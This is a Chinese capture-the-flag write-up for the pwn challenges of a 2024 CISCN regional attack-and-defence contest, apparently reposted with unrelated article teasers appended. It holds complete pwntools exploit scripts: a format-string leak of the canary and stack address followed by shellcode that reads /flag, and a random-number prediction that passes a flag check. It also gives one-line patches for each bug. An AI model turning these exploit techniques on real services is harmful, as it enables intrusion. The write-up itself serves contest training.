2024ciscn 华东北awdp pwn部分wp

pwn1

  • break

很简单,栈可执行。
先格式化字符串泄露出栈地址和canary,然后稍稍布置一下打orw就行
沙盒和没有一样

from pwn import *context(arch='amd64', os='linux')if __name__ == '__main__':# io = remote('192.47.1.39', 80)io = remote('192.168.142.137', 1234)io.recvuntil(b'2: get name')io.sendline(b'1')io.recvuntil(b'->set name')io.sendline(b'%17$p')io.recvuntil(b'2: get name')io.sendline(b'2')io.recvuntil(b'->get name\n')canary = int(io.recvuntil(b'\n')[:-1], 16)print(hex(canary))shellcode = shellcraft.openat(0, '/flag')shellcode += shellcraft.read('rax', 'rsp', 32)shellcode += shellcraft.write(1, 'rsp', 32)shellcode = asm(shellcode)payload = shellcodepayload = payload.rjust(0x60 - 8 * 3, b'\x90')payload += p64(canary)io.recvuntil(b'2: get name')io.sendline(b'1')io.recvuntil(b'->set name')io.sendline(b'%18$pk')io.recvuntil(b'2: get name')io.sendline(b'2')io.recvuntil(b'->get name\n')target_stack = int(io.recvuntil(b'k')[:-1], 16) - 0x60print(hex(target_stack))payload += p64(0xdeedbeef)payload += p64(target_stack)io.recvuntil(b'2: get name')io.sendline(b'1')io.recvuntil(b'->set name')io.sendline(payload)io.recvuntil(b'2: get name')io.sendline(b'3')# 7FFD0D2025F0 tar# 7FFD0D202650 getprint(payload)print(len(payload))io.interactive()pass# context(log_level='debug', arch='amd64', os='linux')
# if __name__ == '__main__':
#     io = remote('202.0.5.74', 8888)
#     shellcode = shellcraft.open('/flag')
#     shellcode += shellcraft.read('rax', 'rsp', 100)
#     shellcode += shellcraft.write(1, 'rsp', 100)
#     shellcode = asm(shellcode)
#     io.sendlineafter(b'ode?\n\n', shellcode)
#     io.interactive()
  • fix

关键点是栈溢出,把read大小从0x80改成0x60即可

pwn2

  • break

简单题,难在没有符号表。
只需要看懂逻辑即可。猜flag头稍稍需要一点点运气

from pwn import *context(arch='amd64', os='linux')if __name__ == '__main__':# io = remote('192.47.1.50', 80)io = remote('192.168.142.137', 9999)fuck = []for i in range(4):io.recvuntil(b'check flag\n')io.sendline(b'2')io.recvuntil(b':')fuck.append(str(int(io.recvuntil(b'\n')[:-1], 10)).encode())print(fuck)fuck_flag = 0x5139397b67616c66for i in range(4):fuck_flag = (0x5851F42D4C957F2D * fuck_flag + 12345) & 0x7FFFFFFFFFFFFFFFio.recvuntil(b'check flag\n')io.sendline(b'3')io.recvuntil(b'\n')io.sendline(fuck[i] + b' ' + str(fuck_flag).encode())io.recvuntil(b'check flag\n')io.sendline(b'6')io.interactive()

结果

  • fix

把printf吐flag的%s改成ss即可

小结

pwn题目难度整体偏低,而且只有两道题,希望下次可以多一点。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/34954.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

初阶 《操作符详解》 10. 逗号表达式

10. 逗号表达式 exp1, exp2, exp3, …expN 注&#xff1a; 1.逗号表达式&#xff0c;就是用逗号隔开的多个表达式 2.逗号表达式&#xff0c;从左向右依次执行&#xff0c;整个表达式的结果是最后一个表达式的结果 代码1 #include <stdio.h> int main() {int a 1;int b…

解决ubuntu18.04 安装vscode 报依赖库错误,以及打不开终端的问题。

其实很简单&#xff0c;ubuntu18.04太老了&#xff0c;官网最新版本的vscode对ubuntu18.04会有些依赖库的问题。 一顿查资料后发现2023.11月的1.85版本正常使用&#xff0c;于是完美解决。 下载链接 Visual Studio Code November 2023 点击这里下载。 下载完成&#xff0c;…

数据结构需要每个都具体实现吗?

在开始前刚好我有一些资料&#xff0c;是我根据网友给的问题精心整理了一份「数据结构的资料从专业入门到高级教程」&#xff0c; 点个关注在评论区回复“666”之后私信回复“666”&#xff0c;全部无偿共享给大家&#xff01;&#xff01;&#xff01;用c的stl能刷算法题是不…

clean code-代码整洁之道 阅读笔记(第十三章)

第十三章 并发编程 "对象是过程的抽象。线程是调度的抽象。" --James O Coplien 13.1 为什么要并发 并发是一种解耦策略。它帮助我们把做什么&#xff08;目的&#xff09;和何时&#xff08;时机&#xff09;做分解开。在单线 程应用中&#xff0c;目的与时机紧密耦…

【OpenCV 图像处理 Python版】OpenCV 简介及安装

文章目录 1.OpenCV 介绍1.1 OpenCV 的特点1.2 OpenCV 的主要模块1.3 OpenCV 的应用场景 2.OpenCV-Python 库3.OpenCV 安装 1.OpenCV 介绍 OpenCV&#xff08;Open Source Computer Vision Library&#xff09;是一个开源的计算机视觉和机器学习软件库。它由英特尔公司于1999年…

API的优势及应用场景(淘宝API测试的详细步骤)

一、API的优势 API的出现为应用程序间的通信提供了一种新的方式&#xff0c;它有以下优势&#xff1a; 1、降低开发难度 开发者可以通过API访问其他应用程序的数据和功能&#xff0c;避免了重复开发&#xff0c;降低了开发难度。 2、提高开发效率 API提供了一种标准化的通…

使用AES,前端加密,后端解密,spring工具类,直接c就完事了

学习python的时候&#xff0c;看到很多会对参数进行加密&#xff0c;于是好奇心驱使下&#xff0c;让我去了解了下AES加密如何在java中实现。 首先 npm install crypto-js 然后在你的方法中&#xff0c;给你们前端源码看看&#xff0c;因为我用的ruoyi框架做的实验&#xff…

构建一个检索增强生成(RAG)应用程序

:::tips 此文档是LangChain官方教程的实践总结&#xff1a;https://python.langchain.com/v0.2/docs/tutorials/rag/实践前你需要准备&#xff1a;OPENAI_API_KEY Generator&#xff1a;根据检索到的信息和用户的查询生成自然语言的回答。LANGCHAIN_API_KEY 密切监控和评估您的…

【自然语言处理系列】掌握NLP基础:去停用词、词性标注与命名实体识别实战教程

摘要&#xff1a;本系列教程专注于自然语言处理&#xff08;NLP&#xff09;中的基础元素&#xff0c;包括去停用词、词性标注以及命名实体识别。这些步骤是文本预处理和分析不可或缺的组成部分。我们将通过具体的实例和技术演示&#xff0c;讲解如何使用Python及其相关库&…

网络安全之Windows提权(上篇)(高级进阶)

目录 一&#xff0c;什么是提权&#xff1f; 二&#xff0c;提权的前提 三&#xff0c;如何提权&#xff1f; 1&#xff0c;第一步连接服务器 2&#xff0c;提升权限至iuser​编辑 3&#xff0c;利用补丁漏洞提权至最高级 四&#xff0c;总结 一&#xff0c;什么是提权&am…

大数据集群数据传输

简单的服务器间的通信示例 netcat&#xff0c;简写为 nc&#xff0c;是 unix 系统下一个强大的命令行网络通信工具&#xff0c;用于在两台主机之间建立 TCP 或者 UDP 连接&#xff0c;并提供丰富的命令进行数据通信。nc 在网络参考模型属于应用层。使用 nc 可以做很多事情&…

重磅丨上海容大推出“容聆”智能拾音工牌,赋能线下门店运营数字化

近日&#xff0c;继豚音营业厅智能质检终端之后&#xff0c;上海容大数字技术有限公司&#xff08;简称“上海容大”&#xff09;在线下面对面沟通场景下语音数据采集与智能分析领域取得了新突破&#xff0c;重磅推出AI智能语音工牌产品——“容聆”。 据悉&#xff0c;“容聆”…

mybatis x插件的使用教程(详细)

MyBatisX 的主要功能 代码生成&#xff1a; 自动生成 MyBatis 的 Mapper、XML 配置文件和实体类&#xff0c;大大减少手工编写代码的工作量。 智能代码补全&#xff1a; 提供 SQL 语句和 MyBatis 配置的智能代码补全功能&#xff0c;使开发者能够更快地编写代码。 代码导航&…

铀的危害和应用,以及铀的分离提纯

铀是一种锕系放射性元素&#xff0c;对人体存在一定的危害&#xff0c;如辐射损伤、呼吸系统损伤、神经系统损伤、免疫系统损伤等。 1、辐射损伤&#xff1a;铀的放射性会对人体产生辐射损伤&#xff0c;长期接触会增加患癌症的风险。此外&#xff0c;还可能对人体正常细胞产生…

【网络安全的神秘世界】解决dvwa靶场报错:Illegal mix of collations for operation ‘UNION‘

&#x1f31d;博客主页&#xff1a;泥菩萨 &#x1f496;专栏&#xff1a;Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具 &#x1f6a9;问题描述 当尝试执行如下 SQL 语句时&#xff1a; 1 union select schema_name,1 from information_schema.s…

如何挑选护眼灯?一分钟带你了解挑选护眼灯的六大准则!

小时候&#xff0c;对正确用眼知识一无所知&#xff0c;也不明白何种光线环境对眼睛最为友善&#xff0c;结果如今的近视度数已濒临千度大关。虽然早已习惯佩戴眼镜的生活&#xff0c;但近视所带来的诸多不便仍旧在日常生活中无处不在。因此&#xff0c;对于家中孩子的视力健康…

第六十七:iview的select组件在页面上,下拉数据被遮挡

iview的select组件在页面上&#xff0c;下拉数据被遮挡 加上**:transfer"true"** 代码截图&#xff1a; 官方解说截图&#xff1a;因为默认值是false 所以要改成:transfer“true”

人工智能水平国际领先,科大讯飞再获国家科学技术进步奖一等奖

科大讯飞在2023年6月24日荣获国家科学技术进步奖一等奖&#xff0c;这是对其在多语种智能语音技术及产业化领域取得的突破性成果的高度认可。科大讯飞的这一成就&#xff0c;标志着其在人工智能领域的技术实力和创新能力已达到国际领先水平。 据「TMT星球」了解&#xff0c;科大…

WMV 视频格式怎么转换?WMV 视频为什么不流行了?

目前有越来越多的视频格式类型&#xff0c;如常见的 MP4、FLV、AVI 等等&#xff0c;而技术的演变也逐渐让一些常见的视频格式变的越来越少了。 今天我们一起来聊下 WMV 这个视频格式&#xff0c;让我们看看它的发展以及为什么现在越来越少人使用了。 什么是 WMV 视频格式&…

Git 使用指南(附详细解释)

Git 是一个强大的版本控制系统&#xff0c;广泛用于软件开发中&#xff0c;用于跟踪文件的更改、协作工作等。无论你是新手还是有经验的开发者&#xff0c;掌握 Git 都是非常有益的。这篇博客将带你了解 Git 的基本使用&#xff0c;希望能帮助你快速入门并有效使用 Git。 1. 创…